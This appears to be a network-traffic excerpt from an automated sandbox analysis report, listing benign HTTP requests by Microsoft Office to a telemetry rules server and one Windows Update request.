Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=BvHOH9BD6Rwh8Ku&MD=Ymg+l5kW HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
